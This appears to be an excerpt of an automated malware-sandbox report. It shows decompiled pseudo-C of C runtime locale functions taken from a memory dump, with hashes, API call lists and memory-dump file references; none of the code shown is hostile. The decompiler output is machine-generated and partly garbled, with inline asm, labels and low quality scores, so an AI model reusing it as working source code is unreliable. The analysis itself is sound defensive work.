Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2dcec0472ba52e34ee43ad0b350ec526e3cae9e1195cc84b7a629e8760d7a30a
Instruction ID: 6ce186f8a9916029c2f76634d9ff953af9297131b79d9a78a7526ea82c40bd29
Opcode Fuzzy Hash: 2dcec0472ba52e34ee43ad0b350ec526e3cae9e1195cc84b7a629e8760d7a30a
Instruction Fuzzy Hash: BEE030AA544222AAFF1137758900F9A3B58AF836A5F024150BD54DE1C1CB70D86086B1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6DD6E518, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6DD6E518(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_push(__ecx);
				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					_t12 = _a8 + 8; // 0xfde8fe81
					if(GetLocaleInfoW( *_t12, 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = 0x6dd82f08;
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = 0x6dd82f10;
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E6DD5BF09(_t23, _t23);
									goto L25;
								}
								_t8 = _a8 + 8; // 0xfde8fe81
								if(GetLocaleInfoW( *_t8, 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x6dd6e51d
0x6dd6e51e
0x6dd6e525
0x6dd6e5c9
0x6dd6e5d7
0x6dd6e5e2
0x6dd6e5e8
0x6dd6e5ed
0x6dd6e5ef
0x6dd6e5ef
0x6dd6e5f5
0x6dd6e5fa
0x6dd6e5fa
0x6dd6e5e4
0x6dd6e5e4
0x00000000
0x6dd6e5e4
0x6dd6e52b
0x6dd6e530
0x00000000
0x00000000
0x6dd6e536
0x6dd6e53b
0x6dd6e53d
0x6dd6e53d
0x6dd6e543
0x00000000
0x00000000
0x6dd6e548
0x6dd6e55f
0x6dd6e55f
0x6dd6e568
0x6dd6e56a
0x00000000
0x00000000
0x6dd6e56c
0x6dd6e571
0x6dd6e573
0x6dd6e573
0x6dd6e579
0x00000000
0x00000000
0x6dd6e57e
0x6dd6e59c
0x6dd6e59e
0x6dd6e5c1
0x00000000
0x6dd6e5c6
0x6dd6e5ae
0x6dd6e5b9
0x00000000
0x00000000
0x6dd6e5bb
0x00000000
0x6dd6e5bb
0x6dd6e580
0x6dd6e588
0x00000000
0x00000000
0x6dd6e58a
0x6dd6e58d
0x6dd6e593
0x00000000
0x00000000
0x00000000
0x6dd6e595
0x6dd6e597
0x6dd6e599
0x00000000
0x6dd6e599
0x6dd6e54a
0x6dd6e552
0x00000000
0x00000000
0x6dd6e554
0x6dd6e557
0x6dd6e55d
0x00000000
0x00000000
0x00000000
0x6dd6e55d
0x6dd6e563
0x6dd6e565
0x00000000

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,6DD6E837,?,00000000), ref: 6DD6E5B1
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,6DD6E837,?,00000000), ref: 6DD6E5DA
GetACP.KERNEL32(?,?,6DD6E837,?,00000000), ref: 6DD6E5EF

Strings

OCP, xrefs: 6DD6E56C
ACP, xrefs: 6DD6E536

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 15ee23f0fb39e253981f0bc8fcf95e45196a4339701e17f99496a754c3756cbb
Instruction ID: cc99038b3ac4d6aae8793d1e51b08903c0387d25f50e39b90259c4b10fcf07b4
Opcode Fuzzy Hash: 15ee23f0fb39e253981f0bc8fcf95e45196a4339701e17f99496a754c3756cbb
Instruction Fuzzy Hash: 7E219032644182EBE721EF58CD05AA777B6AB45B24F52C465F909C7202F732D940C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E6EC, Relevance: 7.7, APIs: 5, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6DD6E6EC(void* __ebx, void* __ecx, void* __edx, void* __edi, signed short _a4, short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed short* _v24;
				short* _v28;
				void* __esi;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed short* _t46;
				signed short _t47;
				short* _t48;
				int _t49;
				short* _t56;
				short* _t57;
				short* _t58;
				int _t66;
				int _t68;
				short* _t72;
				intOrPtr _t75;
				void* _t77;
				short* _t78;
				intOrPtr _t85;
				short* _t89;
				short* _t92;
				void* _t94;
				short** _t102;
				short* _t103;
				signed short _t104;
				signed int _t107;
				void* _t108;

				_t39 =  *0x6ddd506c; // 0x5c069606
				_v8 = _t39 ^ _t107;
				_t89 = _a12;
				_t104 = _a4;
				_v28 = _a8;
				_v24 = E6DD5D5FF(_t89, __ecx, __edx) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E6DD5D5FF(_t89, __ecx, __edx);
				_t99 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t92 = _t104 + 0x80;
				_t46 = _v24;
				 *_t46 = _t104;
				_t102 =  &(_t46[2]);
				 *_t102 = _t92;
				if(_t92 != 0 &&  *_t92 != 0) {
					_t85 =  *0x6dd82f04; // 0x17
					E6DD6E68F(0, 0x6dd82df0, _t85 - 1, _t102);
					_t46 = _v24;
					_t108 = _t108 + 0xc;
					_t99 = 0;
				}
				_v20 = _t99;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t99) {
					_t48 =  *_t102;
					__eflags = _t48;
					if(_t48 == 0) {
						L19:
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
						goto L20;
					}
					__eflags =  *_t48 - _t99;
					if( *_t48 == _t99) {
						goto L19;
					}
					E6DD6E00E(_t92, _t99,  &_v20);
					_pop(_t92);
					goto L20;
				} else {
					_t72 =  *_t102;
					if(_t72 == 0 ||  *_t72 == _t99) {
						E6DD6E112(_t92, _t99,  &_v20);
					} else {
						E6DD6E077(_t92, _t99,  &_v20);
					}
					_pop(_t92);
					if(_v20 != 0) {
						_t103 = 0;
						__eflags = 0;
						goto L25;
					} else {
						_t75 =  *0x6dd82dec; // 0x41
						_t77 = E6DD6E68F(_t99, 0x6dd82ae0, _t75 - 1, _v24);
						_t108 = _t108 + 0xc;
						if(_t77 == 0) {
							L20:
							_t103 = 0;
							__eflags = 0;
							L21:
							if(_v20 != 0) {
								L25:
								asm("sbb esi, esi");
								_t104 = E6DD6E518(_t92,  ~_t104 & _t104 + 0x00000100,  &_v20);
								_pop(_t94);
								__eflags = _t104;
								if(_t104 == 0) {
									goto L22;
								}
								__eflags = _t104 - 0xfde8;
								if(_t104 == 0xfde8) {
									goto L22;
								}
								__eflags = _t104 - 0xfde9;
								if(_t104 == 0xfde9) {
									goto L22;
								}
								_t56 = IsValidCodePage(_t104 & 0x0000ffff);
								__eflags = _t56;
								if(_t56 == 0) {
									goto L22;
								}
								_t57 = IsValidLocale(_v16, 1);
								__eflags = _t57;
								if(_t57 == 0) {
									goto L22;
								}
								_t58 = _v28;
								__eflags = _t58;
								if(__eflags != 0) {
									 *_t58 = _t104;
								}
								E6DD645D6(_t89, _t94, _t103, __eflags, _v16,  &(_v24[0x128]), 0x55, _t103);
								__eflags = _t89;
								if(__eflags == 0) {
									L36:
									L23:
									return E6DD2F8A5(_v8 ^ _t107, _t99, _t104);
								}
								_t33 =  &(_t89[0x90]); // 0x6dd5e15b
								E6DD645D6(_t89, _t94, _t103, __eflags, _v16, _t33, 0x55, _t103);
								_t66 = GetLocaleInfoW(_v16, 0x1001, _t89, 0x40);
								__eflags = _t66;
								if(_t66 == 0) {
									goto L22;
								}
								_t36 =  &(_t89[0x40]); // 0x6dd5e0bb
								_t68 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
								__eflags = _t68;
								if(_t68 == 0) {
									goto L22;
								}
								_t38 =  &(_t89[0x80]); // 0x6dd5e13b
								E6DD75124(_t38, _t104, _t38, 0x10, 0xa);
								goto L36;
							}
							L22:
							goto L23;
						}
						_t78 =  *_t102;
						_t103 = 0;
						if(_t78 == 0 ||  *_t78 == 0) {
							E6DD6E112(_t92, _t99,  &_v20);
						} else {
							E6DD6E077(_t92, _t99,  &_v20);
						}
						_pop(_t92);
						goto L21;
					}
				}
			}

0x6dd6e6f4
0x6dd6e6fb
0x6dd6e702
0x6dd6e706
0x6dd6e70a
0x6dd6e718
0x6dd6e71d
0x6dd6e71e
0x6dd6e71f
0x6dd6e720
0x6dd6e728
0x6dd6e72a
0x6dd6e730
0x6dd6e736
0x6dd6e739
0x6dd6e73b
0x6dd6e73e
0x6dd6e742
0x6dd6e749
0x6dd6e756
0x6dd6e75b
0x6dd6e75e
0x6dd6e761
0x6dd6e761
0x6dd6e763
0x6dd6e766
0x6dd6e76a
0x6dd6e7da
0x6dd6e7dc
0x6dd6e7de
0x6dd6e7f1
0x6dd6e7f1
0x6dd6e7f8
0x6dd6e7fe
0x6dd6e801
0x00000000
0x6dd6e801
0x6dd6e7e0
0x6dd6e7e3
0x00000000
0x00000000
0x6dd6e7e9
0x6dd6e7ee
0x00000000
0x6dd6e771
0x6dd6e771
0x6dd6e775
0x6dd6e78b
0x6dd6e77c
0x6dd6e780
0x6dd6e780
0x6dd6e794
0x6dd6e795
0x6dd6e81f
0x6dd6e81f
0x00000000
0x6dd6e79b
0x6dd6e79b
0x6dd6e7aa
0x6dd6e7af
0x6dd6e7b4
0x6dd6e804
0x6dd6e804
0x6dd6e804
0x6dd6e806
0x6dd6e80a
0x6dd6e821
0x6dd6e82d
0x6dd6e837
0x6dd6e83a
0x6dd6e83b
0x6dd6e83d
0x00000000
0x00000000
0x6dd6e83f
0x6dd6e845
0x00000000
0x00000000
0x6dd6e847
0x6dd6e84d
0x00000000
0x00000000
0x6dd6e853
0x6dd6e859
0x6dd6e85b
0x00000000
0x00000000
0x6dd6e862
0x6dd6e868
0x6dd6e86a
0x00000000
0x00000000
0x6dd6e86c
0x6dd6e86f
0x6dd6e871
0x6dd6e873
0x6dd6e873
0x6dd6e884
0x6dd6e889
0x6dd6e88b
0x6dd6e8eb
0x6dd6e80e
0x6dd6e81e
0x6dd6e81e
0x6dd6e890
0x6dd6e89a
0x6dd6e8aa
0x6dd6e8b0
0x6dd6e8b2
0x00000000
0x00000000
0x6dd6e8ba
0x6dd6e8c9
0x6dd6e8cf
0x6dd6e8d1
0x00000000
0x00000000
0x6dd6e8db
0x6dd6e8e3
0x00000000
0x6dd6e8e8
0x6dd6e80c
0x00000000
0x6dd6e80c
0x6dd6e7b6
0x6dd6e7b8
0x6dd6e7bc
0x6dd6e7d2
0x6dd6e7c3
0x6dd6e7c7
0x6dd6e7c7
0x6dd6e7d7
0x00000000
0x6dd6e7d7
0x6dd6e795

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D65E
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D66B

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 6DD6E7F8
IsValidCodePage.KERNEL32(00000000), ref: 6DD6E853
IsValidLocale.KERNEL32(?,00000001), ref: 6DD6E862
GetLocaleInfoW.KERNEL32(?,00001001,6DD5E03B,00000040,?,6DD5E15B,00000055,00000000,?,?,00000055,00000000), ref: 6DD6E8AA
GetLocaleInfoW.KERNEL32(?,00001002,6DD5E0BB,00000040), ref: 6DD6E8C9

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 0d62c5db079f18fc140d616212dc411f25070b7ba236bb0c50dc6b5b00250209
Instruction ID: 54ad12649176816648d01366502ccebe9eae159d8bafb88843b27dc677df6499
Opcode Fuzzy Hash: 0d62c5db079f18fc140d616212dc411f25070b7ba236bb0c50dc6b5b00250209
Instruction Fuzzy Hash: A4514D7190025AEBEF10FFA5CC44ABA77B8FF45704F118469FA24EB181E77099448BB1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6DD96, Relevance: 6.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E6DD6DD96(void* __ebx, void* __ecx, void* __edx, void* __edi, intOrPtr _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v40;
				signed int _v52;
				char _v252;
				short _v292;
				void* __esi;
				void* __ebp;
				void* _t34;
				short* _t35;
				intOrPtr* _t36;
				void* _t39;
				signed short* _t44;
				intOrPtr _t47;
				void* _t49;
				signed int _t52;
				signed int _t58;
				signed int _t60;
				signed int _t66;
				void* _t68;
				void* _t71;
				void* _t76;
				void* _t80;
				intOrPtr _t87;
				short* _t89;
				void* _t90;
				void* _t92;
				signed int _t94;
				void* _t95;
				intOrPtr* _t98;
				void* _t112;
				void* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				signed int* _t122;
				intOrPtr* _t125;
				signed short _t127;
				int _t129;
				void* _t130;
				signed int _t132;
				void* _t133;
				signed int _t134;

				_t115 = __edx;
				_push(__ecx);
				_push(__ecx);
				_push(__ebx);
				_push(__edi);
				_t34 = E6DD5D5FF(__ebx, __ecx, __edx);
				_t87 = _a4;
				_t94 = 0;
				_v12 = 0;
				_t3 = _t34 + 0x50; // 0x50
				_t125 = _t3;
				_t4 = _t125 + 0x250; // 0x2a0
				_t35 = _t4;
				 *((intOrPtr*)(_t125 + 8)) = 0;
				 *_t35 = 0;
				_t6 = _t125 + 4; // 0x54
				_t118 = _t6;
				_v8 = _t35;
				_t36 = _t87 + 0x80;
				 *_t125 = _t87;
				 *_t118 = _t36;
				if( *_t36 != 0) {
					E6DD6DD27(0x6dd82df0, 0x16, _t118);
					_t133 = _t133 + 0xc;
					_t94 = 0;
				}
				_push(_t125);
				if( *((intOrPtr*)( *_t125)) == _t94) {
					E6DD6D652(_t87, _t94, _t115, _t118, __eflags);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t118)) == _t94) {
						E6DD6D775();
					} else {
						E6DD6D6DB(_t94);
					}
					_pop(_t95);
					if( *((intOrPtr*)(_t125 + 8)) == 0) {
						_t80 = E6DD6DD27(0x6dd82ae0, 0x40, _t125);
						_t133 = _t133 + 0xc;
						if(_t80 != 0) {
							_push(_t125);
							if( *((intOrPtr*)( *_t118)) == 0) {
								E6DD6D775();
							} else {
								E6DD6D6DB(0);
							}
							L12:
							_pop(_t95);
						}
					}
				}
				if( *((intOrPtr*)(_t125 + 8)) == 0) {
					L31:
					_t39 = 0;
					__eflags = 0;
					goto L32;
				} else {
					_t127 = E6DD6DBAF(_t95, _t87 + 0x100, _t125);
					if(_t127 == 0 || _t127 == 0xfde8 || _t127 == 0xfde9 || IsValidCodePage(_t127 & 0x0000ffff) == 0) {
						goto L31;
					} else {
						_t44 = _a8;
						if(_t44 != 0) {
							 *_t44 = _t127;
						}
						_t121 = _a12;
						if(_t121 == 0) {
							L30:
							_t39 = 1;
							goto L32;
						} else {
							_t98 = _v8;
							_t15 = _t121 + 0x120; // 0x6dd5e162
							_t89 = _t15;
							 *_t89 = 0;
							_t116 = _t98 + 2;
							do {
								_t47 =  *_t98;
								_t98 = _t98 + 2;
							} while (_t47 != _v12);
							_t100 = _t98 - _t116 >> 1;
							_push((_t98 - _t116 >> 1) + 1);
							_t49 = E6DD6D5B2(_t98 - _t116 >> 1, _t89, 0x55, _v8);
							_t134 = _t133 + 0x10;
							_t153 = _t49;
							if(_t49 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E6DD52188();
								asm("int3");
								_t132 = _t134;
								_t52 =  *0x6ddd506c; // 0x5c069606
								_v52 = _t52 ^ _t132;
								_push(_t89);
								_push(_t127);
								_push(_t121);
								_t90 = E6DD5D5FF(_t89, _t100, _t116);
								_t122 =  *(E6DD5D5FF(_t90, _t100, _t116) + 0x34c);
								_t129 = E6DD6E4C7(_v40);
								asm("sbb ecx, ecx");
								_t58 = GetLocaleInfoW(_t129, ( ~( *(_t90 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								__eflags = _t58;
								if(_t58 != 0) {
									_t60 = E6DD6806D(_t90, _t122, _t129,  *((intOrPtr*)(_t90 + 0x54)),  &_v252);
									__eflags = _t60;
									if(_t60 == 0) {
										_t66 = E6DD6E5FB(_t129);
										__eflags = _t66;
										if(_t66 != 0) {
											 *_t122 =  *_t122 | 0x00000004;
											__eflags =  *_t122;
											_t122[2] = _t129;
											_t122[1] = _t129;
										}
									}
									__eflags =  !( *_t122 >> 2) & 0x00000001;
								} else {
									 *_t122 =  *_t122 & _t58;
								}
								_pop(_t130);
								__eflags = _v12 ^ _t132;
								return E6DD2F8A5(_v12 ^ _t132, _t116, _t130);
							} else {
								_t68 = E6DD64323(_t100, _t153, _t89, 0x1001, _t121, 0x40);
								_t154 = _t68;
								if(_t68 == 0) {
									goto L31;
								} else {
									_t20 = _t121 + 0x80; // 0x6dd5e0c2
									_t92 = _t20;
									_t21 = _t121 + 0x120; // 0x6dd5e162
									if(E6DD64323(_t100, _t154, _t21, 0x1002, _t92, 0x40) == 0) {
										goto L31;
									} else {
										_push(0x5f);
										_t71 = E6DD77BBB(_t100);
										_t112 = _t92;
										if(_t71 != 0) {
											L28:
											_t22 = _t121 + 0x120; // 0x6dd5e162
											if(E6DD64323(_t112, _t157, _t22, 7, _t92, 0x40) == 0) {
												goto L31;
											} else {
												goto L29;
											}
										} else {
											_push(0x2e);
											_t76 = E6DD77BBB(_t112);
											_t112 = _t92;
											_t157 = _t76;
											if(_t76 == 0) {
												L29:
												_t23 = _t121 + 0x100; // 0x6dd5e142
												E6DD75124(_t112, _t127, _t23, 0x10, 0xa);
												goto L30;
											} else {
												goto L28;
											}
										}
									}
								}
								L32:
								return _t39;
							}
						}
					}
				}
			}

0x6dd6dd96
0x6dd6dd9b
0x6dd6dd9c
0x6dd6dd9d
0x6dd6dd9f
0x6dd6dda0
0x6dd6dda5
0x6dd6dda8
0x6dd6ddaa
0x6dd6ddad
0x6dd6ddad
0x6dd6ddb0
0x6dd6ddb0
0x6dd6ddb6
0x6dd6ddb9
0x6dd6ddbc
0x6dd6ddbc
0x6dd6ddbf
0x6dd6ddc2
0x6dd6ddc8
0x6dd6ddca
0x6dd6ddcf
0x6dd6ddd9
0x6dd6ddde
0x6dd6dde1
0x6dd6dde1
0x6dd6dde5
0x6dd6dde9
0x6dd6de32
0x00000000
0x6dd6ddeb
0x6dd6ddf0
0x6dd6ddf9
0x6dd6ddf2
0x6dd6ddf2
0x6dd6ddf2
0x6dd6de00
0x6dd6de04
0x6dd6de0e
0x6dd6de13
0x6dd6de18
0x6dd6de1e
0x6dd6de22
0x6dd6de2b
0x6dd6de24
0x6dd6de24
0x6dd6de24
0x6dd6de37
0x6dd6de37
0x6dd6de37
0x6dd6de18
0x6dd6de04
0x6dd6de3d
0x6dd6df4f
0x6dd6df4f
0x6dd6df4f
0x00000000
0x6dd6de43
0x6dd6de50
0x6dd6de56
0x00000000
0x6dd6de86
0x6dd6de86
0x6dd6de8b
0x6dd6de8d
0x6dd6de8d
0x6dd6de8f
0x6dd6de94
0x6dd6df4a
0x6dd6df4c
0x00000000
0x6dd6de9a
0x6dd6de9a
0x6dd6de9d
0x6dd6de9d
0x6dd6dea5
0x6dd6dea8
0x6dd6deab
0x6dd6deab
0x6dd6deae
0x6dd6deb1
0x6dd6deb9
0x6dd6debe
0x6dd6dec5
0x6dd6deca
0x6dd6decd
0x6dd6decf
0x6dd6df5a
0x6dd6df5b
0x6dd6df5c
0x6dd6df5d
0x6dd6df5e
0x6dd6df5f
0x6dd6df64
0x6dd6df68
0x6dd6df70
0x6dd6df77
0x6dd6df7a
0x6dd6df7b
0x6dd6df7f
0x6dd6df85
0x6dd6df8d
0x6dd6df9c
0x6dd6dfa8
0x6dd6dfb9
0x6dd6dfbf
0x6dd6dfc1
0x6dd6dfd2
0x6dd6dfd9
0x6dd6dfdb
0x6dd6dfde
0x6dd6dfe4
0x6dd6dfe6
0x6dd6dfe8
0x6dd6dfe8
0x6dd6dfeb
0x6dd6dfee
0x6dd6dfee
0x6dd6dfe6
0x6dd6dff8
0x6dd6dfc3
0x6dd6dfc3
0x6dd6dfc5
0x6dd6dfff
0x6dd6e000
0x6dd6e00b
0x6dd6ded5
0x6dd6dede
0x6dd6dee3
0x6dd6dee5
0x00000000
0x6dd6dee7
0x6dd6dee9
0x6dd6dee9
0x6dd6def5
0x6dd6df03
0x00000000
0x6dd6df05
0x6dd6df05
0x6dd6df08
0x6dd6df0e
0x6dd6df11
0x6dd6df21
0x6dd6df26
0x6dd6df34
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd6df13
0x6dd6df13
0x6dd6df16
0x6dd6df1c
0x6dd6df1d
0x6dd6df1f
0x6dd6df36
0x6dd6df3a
0x6dd6df42
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd6df1f
0x6dd6df11
0x6dd6df03
0x6dd6df51
0x6dd6df57
0x6dd6df57
0x6dd6decf
0x6dd6de94
0x6dd6de56

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,6DD5E042,?,?,?,?,6DD5DA1E,?,00000004), ref: 6DD6DE78
_wcschr.LIBVCRUNTIME ref: 6DD6DF08
_wcschr.LIBVCRUNTIME ref: 6DD6DF16
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6DD5E042,00000000,6DD5E162), ref: 6DD6DFB9

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: 97ecd1429e6bbeda85b258dd2005ba5b275abd4c8c6e4bb3ee694e111e03ce00
Instruction ID: d066c29079099b8262485a7eec995ed31541e17beef1ac041b734374d5bbaa17
Opcode Fuzzy Hash: 97ecd1429e6bbeda85b258dd2005ba5b275abd4c8c6e4bb3ee694e111e03ce00
Instruction Fuzzy Hash: 5C610571508286ABEB14BB74EC41BB673A8EF85704F214469FA59C7181FB34E54487F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6BF64, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD6BF64(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x6ddd50b8) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E6DD5CBD3(_t46);
							E6DD6C7CF( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E6DD5CBD3(_t47);
							E6DD6CCC3( *((intOrPtr*)(_t74 + 0x88)));
						}
						E6DD5CBD3( *((intOrPtr*)(_t74 + 0x7c)));
						E6DD5CBD3( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E6DD5CBD3( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E6DD5CBD3( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E6DD5CBD3( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E6DD5CBD3( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E6DD6C0D7( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t16 = _t74 + 0xa0; // 0xa0
				_t55 = _t16;
				_v8 = _t28;
				_t18 = _t74 + 0x28; // 0x28
				_t70 = _t18;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6ddd52b0) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6DD5CBD3(_t31);
							E6DD5CBD3( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E6DD5CBD3(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6DD5CBD3(_t74);
			}

APIs

___free_lconv_mon.LIBCMT ref: 6DD6BFA8

Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C7EC
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C7FE
